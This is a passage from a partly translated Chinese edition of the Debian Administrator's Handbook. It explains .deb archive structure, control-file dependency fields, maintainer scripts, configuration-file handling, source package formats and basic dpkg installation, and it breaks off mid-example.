初学者可能会在看到“ar(1)”这样的文字注记时感到疑惑。这通常是个简写，它表示指向 man 手册第一类中标题是 ar 的页面。

有时这种注记也用来避免歧义，比如要区分清楚是 printf 命令，可以用 printf(1) 来指明，如果是 C 语言里的 printf 函数，就可以用 printf(3) 来引用。

第 7 章 问题的解决与相关信息的检索 更详细地讨论手册页 (参见 第 7.1.1 节 “手册页面”)。

来看看一个 .deb 文件的内容：

$ ar t dpkg_1.20.9_amd64.deb

debian-binary

control.tar.gz

data.tar.xz

$ ar x dpkg_1.20.9_amd64.deb

$ ls

control.tar.gz  data.tar.xz  debian-binary  dpkg_1.20.9_amd64.deb

$ tar tJf data.tar.xz | head -n 16

./

./etc/

./etc/alternatives/

./etc/alternatives/README

./etc/cron.daily/

./etc/cron.daily/dpkg

./etc/dpkg/

./etc/dpkg/dpkg.cfg

./etc/dpkg/dpkg.cfg.d/

./etc/logrotate.d/

./etc/logrotate.d/alternatives

./etc/logrotate.d/dpkg

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/bin/

$ tar tJf control.tar.xz

./

./conffiles

./control

./md5sums

./postrm

$ cat debian-binary

2.0

如你所见， Debian 包的 ar 存档格式由三个文件组成：

Debian 二进制文件

This is a text file which simply indicates the version of the .deb file package format version. In Debian Bullseye it is still version 2.0.

control.tar.xz

该档案文件包含所有可用的元信息，如软件包的名称和版本，以及在安装/卸载之前、之中或之后使用的脚本。一些元信息允许软件包管理工具根据例如机器上已有的软件包列表，来决定是否能够安装或卸载它，或者决定一起发布的文件是否已经在本地被修改。

data.tar.xz, data.tar.bz2, data.tar.gz

这个归档文件包含软件包中所有要解压的文件，包括可执行文件、库和文档等。软件包可能使用不同的压缩格式，因此文件后缀会有所不同如xz、bzip2 或 gzip。

5.2. 软件包元信息

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools, but are not part of the packaged software; they are, within the package, what is called its “meta-information” - information about other information.

5.2.1. 描述：control 文件

本文件使用的结构与email头相似（如由 RFC 2822 定义的），并且在 Debian 政策和手册页面deb-control(5) 和 deb822(5) 中充分描述。

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

例如，对于 apt 软件包，control 文件看起来像这样：

$ apt-cache show apt

Package: apt

Version: 2.2.4

Installed-Size: 4337

Maintainer: APT Development Team <deity@lists.debian.org>

Architecture: amd64

Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)

Provides: apt-transport-https (= 2.2.4)

Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0

Recommends: ca-certificates

Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base

Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10)

Description-en: commandline package manager

This package provides commandline tools for searching and

managing as well as querying information about packages

as a low-level access to all features of the libapt-pkg library.

.

These include:

* apt-get for retrieval of packages and information about them

from authenticated sources and for installation, upgrade and

removal of packages together with their dependencies

* apt-cache for querying available information about installed

as well as installable packages

* apt-cdrom to use removable media as a source for packages

* apt-config as an interface to the configuration settings

* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7

Tag: admin::package-management, devel::lang:ruby, hardware::storage,

hardware::storage:cd, implemented-in::c++, implemented-in::perl,

implemented-in::ruby, interface::commandline, network::client,

protocol::ftp, protocol::http, protocol::ipv6, role::program,

scope::application, scope::utility, suite::debian, use::downloading,

use::organizing, use::playing, use::searching, works-with-format::html,

works-with::audio, works-with::software:package, works-with::text

Section: admin

Priority: required

Filename: pool/main/a/apt/apt_2.2.4_amd64.deb

Size: 1491328

MD5sum: 24d53e8dd75095640a167f40476c0442

SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

我们来看看上一条命令列出来的部分字段的含义。

基础知识 RFC －－ 互联网标准

RFC 是 “Request For Comments”（征求意见稿）的缩写。RFC通常是一份描述将要成为互联网标准的技术文档。在被冻结并标准化之前，这些标准被提交给公众评估（这就是名字的由来）。 IETF （互联网工程专家组）决定这些文档的演进状态（建议标准、草案或标准）。

RFC 2026 定义了互联网协议标准化的程序。

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. 依赖：Depends 字段

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc., in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

- <<：小于;

- <=：小于或等于;

- =：等于（注意， “2.6.1” 不等于 “2.6.1-1”）;

- >=：大于或等于;

- >>：大于。

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs pre-selected by the meta-package maintainer; as such, apt install meta-package will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.

DEBIAN 政策 推荐，建议，增强

推荐和建议字段描述的依赖关系不是强制性的。“推荐”的依赖，是最重要的，能显著改善由软件包提供的功能，但这并非是必不可少的操作。“建议”的依赖，是次要的，表明某些软件包可以补充或者增加其各自的效果，有充分的理由去单独安装它而不是其它的软件包。

You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them (the package description or its documentation may contain information which extra functionality they will activate). The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

增强 字段也描述建议，但是位于不同的内文。实际上位于建议软件包内，而不是受益于建议的软件包内。有可能在不修改软件包的前提下添加建议。因此所有插件、插件与其他的程序延伸可以显示在与软件相关的建议清单内。虽然已存在多年，但是 apt 或 synaptic 等程序依然忽略此字段的存在。Enhances 字段提出的建议系在传统建议 — Suggests 字段供用户参考。.

DEBIAN 政策 预依赖, 一个更苛刻的 依赖

“预依赖”，列在软件包标头的 “Pre-Depends” 字段，满足完整的正常依赖；它的语法是相同的。正常的依赖系指必须在声明依赖之前先解开并配置的问题软件包。预依赖规定在运行软件包的预安装脚本前，必须先解开并配置软件包，就是在安装之前。

A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on <debian-devel@lists.debian.org> before adding a pre-dependency. It is generally possible to find another solution as a workaround.

5.2.1.2. 冲突：冲突字段

Conflicts（冲突） 字段指示不能与其共存的其它软件包。最常见的理由是两个软件包使用具有相同的名称和路径的文件，或在相同的 TCP 端口提供相同的服务，或会阻碍彼此的操作。

dpkg 不会安装冲突的软件包，除非新软件包指明 “取代” 被冲突的软件包，dpkg 才会以新的软件包取代旧的软件包。apt 总是遵循您的指示：若选择安装新软件包，则自动移除造成问题的旧软件包。

5.2.1.3. 不相容性:中断字段

中断 Breaks 字段有一个影响和冲突字段类似，但它具有特殊的意义。它标志着一个包的安装会将另外一个包（或者是特定版本）中断掉。通常而言，两个包之间的不兼容是短暂的，中断关系会特别指出那些不兼容的版本。

已经中断现有软件包时，dpkg 将拒绝安装并且 apt 将更新软件包至新的版本试图解决此问题 (通常可解决此问题，并再度兼容)。

不向后兼容的更新可能会发生这种情况：如果新版本与旧版本的功能不在另一个程序中做特别规定，这将导致故障。中断字段会防止用户继续运行从而遇到这些问题。

5.2.1.4. 提供项：Provides 字段

这个字段引入了一个很有意思的“虚拟包”的概念。它有很多的角色，但有两个特别重要。第一个是由使用虚拟包关联到的一个通用的服务（包“提供”了这些服务）。第二个表示一个包完全取代了另外一个，所以它也能满足依赖的要求。因此，可以创建一个替换而不必使用相同的包名称的包。

VOCABULARY元软件包和虚拟包

这里必须明确的从虚拟软件包里面区分出元软件包。元软件包是真实的元件包（包含真实的.deb文件），其唯一目的是用来表示依赖的关系。

然而，虚拟软件包并未真实的存在；只是依照通用、逻辑范围 (提供的服务、兼容于标准程序或已存在的软件包等) 辨认真实软件包的手段。

5.2.1.4.1. 提供一个“服务”

让我们以范例详述第一个案子：postfix 或 sendmail 之类的邮件服务器都 “提供” mail-transport-agent 虚拟软件包。因此需要启用该等服务的软件包 (如：smartlist 或 sympa 之类的邮件列表管理器) 只要在其相依性里叙明需要 mail-transport-agent 而不是指明还不兼容的可能解决方案清单 (如 postfix | sendmail | exim4 | …)。更进一步来说，在同个机器安装两个邮件服务器是没有用的，因此每个软件包都声明与 mail-transport-agent 虚拟软件包冲突。系统忽略冲突的两个软件包，但技术上可以禁止同时安装两个邮件服务器。

DEBIAN 政策 虚拟软件包列表

使用虚拟软件包时，每个人都必须同意其名称。这就是在 Debian 政策内把他们标准化的原因。此清单包括邮件服务器 mail-transport-agent、C 语言编译器 c-compiler、网页浏览器 www-browser、网页服务器 httpd、FTP 服务器 ftp-server、图形模式终端机仿真器 x-terminal-emulator (xterm)、以及窗口管理器 x-window-manager。

The full list can be found on the Web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. 和另一个软件包的可交互性

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.32.1 present in Bullseye). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

图 5.1. 使用了Provides字段来避免破坏依赖

这个功能非常有用，因为它是永远不可能预料到变化莫测的发展，它不能够调整重命名，或者其他自动替换过的软件，所以它是必要的。

回到基本Perl，一种编程语言

Perl（实用报表提取语言）是非常受欢迎的编程语言。它有许多现成的模块，涵盖了广阔的应用，这些都是由 CPAN（Comprehensive Perl Archive Network，Perl 综合架构网络）的服务器发布务的，CPAN 服务器是 Perl 软件包的全面网络。

→ https://www.perl.org/

→ https://www.cpan.org/

由于它是一种解释型语言，Perl 语言编写的程序并不需要在执行之前进行编译。这就是大家称其为“Perl 脚本”的原因。

5.2.1.4.3. 过去的限制

Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6), despite the presence of Perl 5.10, would have never been considered as satisfied by the packaging system — while in fact it most likely was satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages, like perl 5.32.1, can assign a version to the virtual packages they provide, such as Provides: libdigest-md5-perl (= 2.55.01), and thus allow other packages to use versioned dependencies.

5.2.1.5. 替换文件：替换字段

The Replaces field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails to install the package, stating that it cannot overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.

当软件包名称变更时，或者当一个软件包包含在另外一个的时候，此字段的使用是合理的。这也发生在维护者决定从来自相同的源码包的大量二进制包里分发出文件：一个替换的文件不再属于旧的软件包，只有新的才属于。

如果已安装软件包的所有文件都被替换了，那么该软件包将认为将被删除掉。最后，这个字段会鼓励dpkg命令去删除替换掉有冲突的包。

更进一步标签字段

In the apt example at the beginning, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who dislike aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. 配置脚本

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

进一步 dpkg 的数据库

所有已安装的软件包的配置脚本都存在/var/lib/dpkg/info/目录，在软件包的名字前会有一个文件名的前缀。此目录的每个软件包还包括一个叫.list的文件扩展，包括列表的文件字段属于哪些包。

/var/lib/dpkg/status文件包含了一些数据块（著名的邮件标题的格式，RFC2822）描述了每个软件包的状态。已经安装的软件包的 control 文件中的信息也会被复制到这里。

在一般情况下，preinst脚本会在安装软件包前执行，而postinst会稍后执行。同样，prerm会在移除一个软件包的之前被调用，postrm 则随后执行。更新软件包相当于是清除掉以前的旧版本并且安装新的软件包。所以在这里我们不可能来详细描述所有的可能的方案，但我们将讨论最常见的两种：安装/更新和移除。

小心 脚本的符号名称

本节中使用特定的名称序列命名配置脚本，例如 old-prerm 或 new-postinst。它们分别是旧版本软件包（ 在更新前已安装）中包含的 prerm脚本和新版本软件包（由本次更新所安装）中包含的 postinst 脚本。

提示状态图

Manoj Srivastava 和 Margarita Manterola 制作了后面的图示，来解释这些配置脚本如何被 dpkg 调用的情况。

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. 安装和升级

在软件包的初始安装和其后续的每次升级时，dpkg都会调用所谓的维护者脚本，例如prerm或者preinst脚本。在软件包生命周期的不同阶段，这些脚本可以执行一些额外的操作。前缀为new-的脚本来自软件包正在安装或升级到的那个新版本。前缀为old-的脚本来自软件包正在被升级的那个旧版本。

每次调用中，dpkg都会向每个脚本传递参数，例如 upgrade new-version。然后，被调用的脚本可以处理这些参数并执行特定操作；或者，如果在该步骤中没有需要执行的操作，就忽略这些参数并以退出代码0返回。实践中，许多软件包在生命周期的每个步骤中都不需要执行操作。因此，典型的配置脚本检查特定的单个参数并忽略所有其他参数，隐式地以退出代码0返回。

以下是安装（或更新）时的情况。 old-version、new-version和last-version-configured参数是实际软件包（旧版和新版）的版本号的占位符：

1. For an update, dpkg calls the old-prerm script and passes upgrade new-version as arguments.

2. Still for an update, dpkg then executes the new-preinst script with the arguments upgrade old-version; for the initial installation, it executes the new-preinst script and passes install as argument. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, and thus configuration files have been retained).

3. 新的软件包文件被解压。如果文件已经存在，就被会替换，同时会产生一个临时的备份副本。

4. For an update, dpkg executes the old-postrm script and passes upgrade new-version as arguments.

5. dpkg更新所有的内部数据（文件列表，配置脚本等），并删除被替换文件的备份。这是一条不归路： ） dpkg将不能够再访问回退到之前状态所需要的所有元素。

6. dpkg 将更新配置文件，无法自动管理此工作时，要求用户做决定。详情在此 第 5.2.3 节 “Checksums, List of Configuration Files, et al.”。

7. Finally, dpkg configures the package by executing the new-postinst script with the arguments configure last-version-configured.

5.2.2.2. 软件包移除

卸载软件包的步骤和安装类似。主要区别在于这里调用的是软件包的卸载脚本：

1. dpkg calls the prerm script and passes the remove argument.

2. dpkg removes all of the package's files, with the exception of the configuration files and maintainer scripts.

3. dpkg executes the postrm script and passes remove as argument. Afterwards, all of the maintainer scripts, except the postrm script, are removed. If the user has not used the “purge” option, the process stops here.

4. For a complete purge of the package (command issued with dpkg --purge or dpkg -P), the configuration files are also deleted, as well as a certain number of copies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) and temporary files; dpkg then executes the postrm script and passes purge as argument.

术语 Purge，完全移除

当Debian的软件包被移除掉的时候，该软件包的配置文件会被保留下来以便重新安装。同样，守护程序产生的数据（比如LDAP的服务器目录内容，或者是SQL服务器的数据库内容）也常常会被保留。

移除掉软件包所关联的所有数据，必须使用“purge”命令，dpkg -P软件包，apt-get remove --purge 软件包 或者是aptitude purge 软件包。

移除该等数据，不能掉以轻心去清除。

config 脚本补充前述的 4 个脚本，软件包以 debconf 取得配置用的信息。安装过程中，此脚本以 debconf 指令询问用户详细的问题。把回应记录在 debconf 数据库供未来的参考。在安装之前先由 apt 逐一运行该等脚本，归纳问题与回答。事前与事后安装脚本可使用该等信息回应用户的期望。

工具 debconf

debconf 被创建来 Debian中不断出现的问题。如果没有一个最小的配置，用于在 postinst shell 脚本（和其它类似脚本）中，调用 echo 和 read 命令来询问问题，那么所有 Debian 软件包都不能工作。这也意味着在大型安装或升级过程里，用户必须在电脑旁回应这些会随时出现的任何问题。由于 debconf 工具，这些手动交互过程几乎全部摒弃了。

debconf 包括很多有趣的功能：要求开发者指明用户的交互；允许本地化显示给用户的字符串 (描述交互的所有翻译保存在 templates 文件)；显示给用户的前端问题 (文本模式、图形模式、非交互式)；把回应集中在数据库供其他电脑使用 ... 但最重要的已可把所有问题，在安装或升级之前，以一列的模式显示给用户。用户可以放任系统自行安装，不必待在电脑旁，紧盯屏幕等待问题。

5.2.3. Checksums, List of Configuration Files, et al.

除了前面提到的维护者脚本和控制数据之外，Debian软件包的control.tar.gz压缩包可能包含其他有趣的文件。

The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in 第 14.3.4.1 节 “用dpkg --verify审计软件包”) and debsums (from the package of the same name; see 第 14.3.4.2 节 “审核软件包：debsums 及其限制”) to check if these files have been modified since their installation. Note that when this file doesn't exist, which might be the case for some older packages, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

The file conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

实际上，在这种情况下，dpkg 的行为会尽可能地智能：如果两个版本之间并没有改变标准的配置文件，那么它就什么也不会做。但是如果文件已经被修改，它会尝试更新此文件。这会产生两种可能的情况：一是管理员没有碰配置文件，在这种情况下 dpkg 会自动安装新的版本；二是文件已经被修改了，在这种情况下 dpkg 会询问管理员希望使用哪个版本（有过修改的旧版本，或者软件包的新版本）。为了帮助用户作出决定，dpkg 会提供显示 “diff”，这会显示两个版本之间的差异。如果用户选择旧版本，那么新版本将被存储在文件夹的同一个位置并以 .dpkg-dist 为后缀名的文件中。如果用户选择新版本，那么旧版本将被保留在以 .dpkg-old 为后缀名的文件中。另外一个可能的操作是由暂时中断 dpkg 来编辑该文件，并试图重新恢复相关的修改（之前用 diff 来识别）。

更进一步 强制 dpkg 询问配置文件问题

即使通常并不必要，--force-confask 选项也要求 dpkg 显示关于配置文件的问题。这样，当以此选项重新安装软件包时，dpkg 将再次针对由管理员修改或删除的所有配置文件询问问题。这种方式极为便利，尤其是在重新安装已经被删除且无可用复本的原始配置文件时：普通重新安装无效，因为 dpkg 认为移除是合法的修改，因此不会安装所需的配置文件。

请参阅侧边栏更进一步 避免配置文件问题以了解如何在APT中使用这些选项。

更进一步 避免配置文件问题

dpkg 处理配置文件升级，但经常中断作业，要求管理者键入数据。如此一来，就不能以无中断方式一气呵成升级作业。此指令提供选项让系统依同样的逻辑自动回应：--force-confold 保留该文件的旧版本；--force-confnew 使用该文件的新版本 (即使该文件未被管理者修改，仍使用指定的选择，极少发生问题)。加入 --force-confdef 选项告诉 dpkg 在可能情况下自行决定 (换句话说，不改变原配置文件)，只在其他的情况下，才使用 --force-confnew 或 --force-confold。

这些选项应用于 dpkg，并在dpkg(1) 或 dpkg --force-help 中具体解释，但是大多数时间管理员会直接用 aptitude 或 apt 程序来工作。这样，有必要知道用于指示选项的语法，来传递给 dpkg命令（它们的命令行的界面是非常相似的）。

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

These options can also be stored directly in apt's configuration. To do so, simply write the following lines in the /etc/apt/apt.conf.d/local file:

Dpkg::Options {

"--force-confdef";

"--force-confold";

}

把此选项纳入配置文件，意味着 aptitude 之类的图形接口程序也会使用这些选项。

控制压缩包通常也包含其他文件，例如triggers、shlibs或symbols。这些文件在deb-triggers(5)、deb-shlibs(5)和deb-symbols(5)中有很好的描述。

引入触发器是为了减少软件包安装期间重复事件的数量，例如文件注册或目录/数据库更新任务。软件包可以定义自己的触发器或激活已定义的触发器。更全面的文档可以在 /usr/share/doc/dpkg/triggers.txt.gz 中找到。

shlibs系统可以代替共享库声明依赖项的symbols系统，它更旧、更简单。它定义软件包名称和版本，其可用于查找共享库的特定SONAME版本。而新的symbols系统定义依赖项的方式则是跟踪库中引入或更改符号的时间。

5.3. 源码包的结构

5.3.1. 格式

一个源码包通常包括三个文件，.dsc、.orig.tar.gz 与 .debian.tar.xz（或 .diff.gz）。它们允许从编程语言撰写的程序源代码文件中，创建二进制软件包（如前所述的 .deb 文件）。

.dsc (Debian Source Control) 文件是包括 RFC 2822 标头 (如同 control 文件于 第 5.2.1 节 “描述：control 文件”) 的简短文本档，描述原始软件包及包括的其他文件。由维护者签署，保证其真实性。详情见 第 6.6 节 “检查软件包真实性”。

例 5.1. 一个.dsc 文件

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.73.5-1

Maintainer: Zim Package Maintainers <zim@packages.debian.org>

Uploaders: Raphaël Hertzog <hertzog@debian.org>

Homepage: https://zim-wiki.org

Standards-Version: 4.5.1

Vcs-Browser: https://salsa.debian.org/debian/zim

Vcs-Git: https://salsa.debian.org/debian/zim.git

Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python

Package-List:

zim deb x11 optional arch=all

Checksums-Sha1:

80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz

b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz

Checksums-Sha256:

a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz

6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz

Files:

fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz

a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC

mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE

HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY

X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq

gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1

L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve

KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ==

=YFDk

-----END PGP SIGNATURE-----

需要注意的是源码包也有依赖（Build-Depends），和那些二进制包依赖完全不同，因为它们需要设置编译软件所需工具的选项后，再来构建二进制包。

当心 不同的命名空间

需注意，原始软件包与其产生的可运行软件包间，不需使用对应的名称。每个原始软件包可能产生多个可运行软件包。所以 .dsc 文件有 Source 与 Binary 字段记录原始软件包的名称与其产生的可运行软件包清单。

文化 为什么要分成几个软件包

通常，一个源代码软件包 (对于一个指定软件来说) 可产生多个二进制软件包。分开多个二进制包，可以满足在不同的环境使用 (部分) 软件。对于一个共享库，安装它后，可以让一个于应用程序工作 (如，libc6)；或者安装后，可以用来开发一个新的程序 (libc6-dev 就是这样的软件包)。在客户端-服务端服务里发现同样的逻辑，在一部机器安装服务端的内容同时在另部机器安装客户端的内容 (例如： openssh-server 与 openssh-client)。

Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared among all of the architectures (instead of having the documentation duplicated in the packages for each architecture).

洞察不同格式的源码包

本来只有一个原始的软件包格式，像1.0这样的格式，它关联了.orig.tar.gz和.diff.gz“Debian化”的补丁（还有一个变种，由一个单一的.tar.gz归档，当.orig.tar.gz不可用时它会自动使用。）.

自从 Debian 6 Squeeze 以来，Debian 开发者可以选择新的格式来校正历史上旧格式的问题。格式 3.0 (quilt) 可以将多个上游档案组合在相同的源码包中：除了通常的 .orig.tar.gz，还可纳入补充的 .orig-component.tar.gz 档案。这种做法对那些散布在多个上游组件，但只需要单一一个原码包的软件。这些文件还可以使用 xz 而不是 gzip 来压缩，这节省了磁盘空间与网络资源。最后，单一的补丁 .diff.gz 被 .debian.tar.gz 档案取代，它包括编译指示与软件包维护者贡献的一组上游补丁。最后的这些部分以兼容的 quilt 的格式记录，其中 quilt 是实现一系列补丁管理的工具。

.orig.tar.gz 文件包括原开发者提供的源代码。要求 Debian 的软件包维护者不要修改它，以便检查原来的文件与集成后的文件 (比较校验码就知道) 并且尊重其他著者的意愿。

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct one or more Debian binary packages.

工具 解压缩源码包

使用原始软件包时，您可使用 dpkg-source 指令 (从 dpkg-dev 软件包取得) 解压缩它：

$ dpkg-source -x zim_0.73.5-1.dsc

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

可以使用 apt 来下载原码包，并立即将它拆包。然而，这需要适当的 deb-src 出现在 /etc/apt/sources.list 文件内（进一步的细节请参见 第 6.1 节 “编写 sources.list 文件”）。这些用于列出原码包的 “来源”（就是托管一组源码包的服务器）。

$ apt source package

Reading package lists... Done

NOTICE: 'zim' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/debian/zim.git

Please use:

git clone https://salsa.debian.org/debian/zim.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 2,172 kB of source archives.

Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B]

Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB]

Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB]

Fetched 2,172 kB in 0s (7,176 kB/s)

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Debian 中的使用

The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them. 第 15 章 创建 Debian 软件包 contains some examples.

When a new version of a source package arrives on the Debian server, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian.

→ https://buildd.debian.org/

进阶阅读 维护者只能上传源码

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component must be built automatically from mandatory source-only uploads. While binary uploads are still allowed for the contrib and non-free components, we will not focus on this possibility as it should only be the exception.

5.4. 通过dpkg来操作软件包

dpkg 是系统上处理 Debian 软件包的基础指令。如果有 .deb 软件包，那么可以用 dpkg 来安装或分析其内容。但此指令只能看到 Debian 世界的部分内容：它知道系统安装了那些软件包，以及命令行给出了什么，但不知道其它还有哪些可用的软件包。这样，如果没有相依性就会失败。如 apt 和 aptitude 这样的工具，相反会可产生相依性清单，来尽量自动地安装软件包。

说明 dpkg 或 apt?

dpkg 应视为系统工具 (背景) 之一，而 apt 则是较倾向用户的工具，可克服前者的限制。这些工具各有其限制，共同解决特定的作业。

5.4.1. 安装软件包

首先，dpkg 是安装 Debian 已经可用软件包的工具 (因为不需下载任何东西)。我们使用它的 -i 或 --install 选项。

例 5.2. 通过dpkg来安装一个软件包

# dpkg -i man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.8.5-2) ...

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

Processing triggers for mailcap (3.69) ...

可以看到由 dpkg 执行的不同步骤；这样，我们知道在哪一点会发生错误。安装也可以分为两个阶段来生效：首先拆包，然后配置。apt 会利用这个优点，来限制调用 dpkg 的次数（因为每次调用都有成本，要把数据加载到内存中，特别是已经安装的文件的列表）。

例 5.3. 分开解压和配置

# dpkg --unpack man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

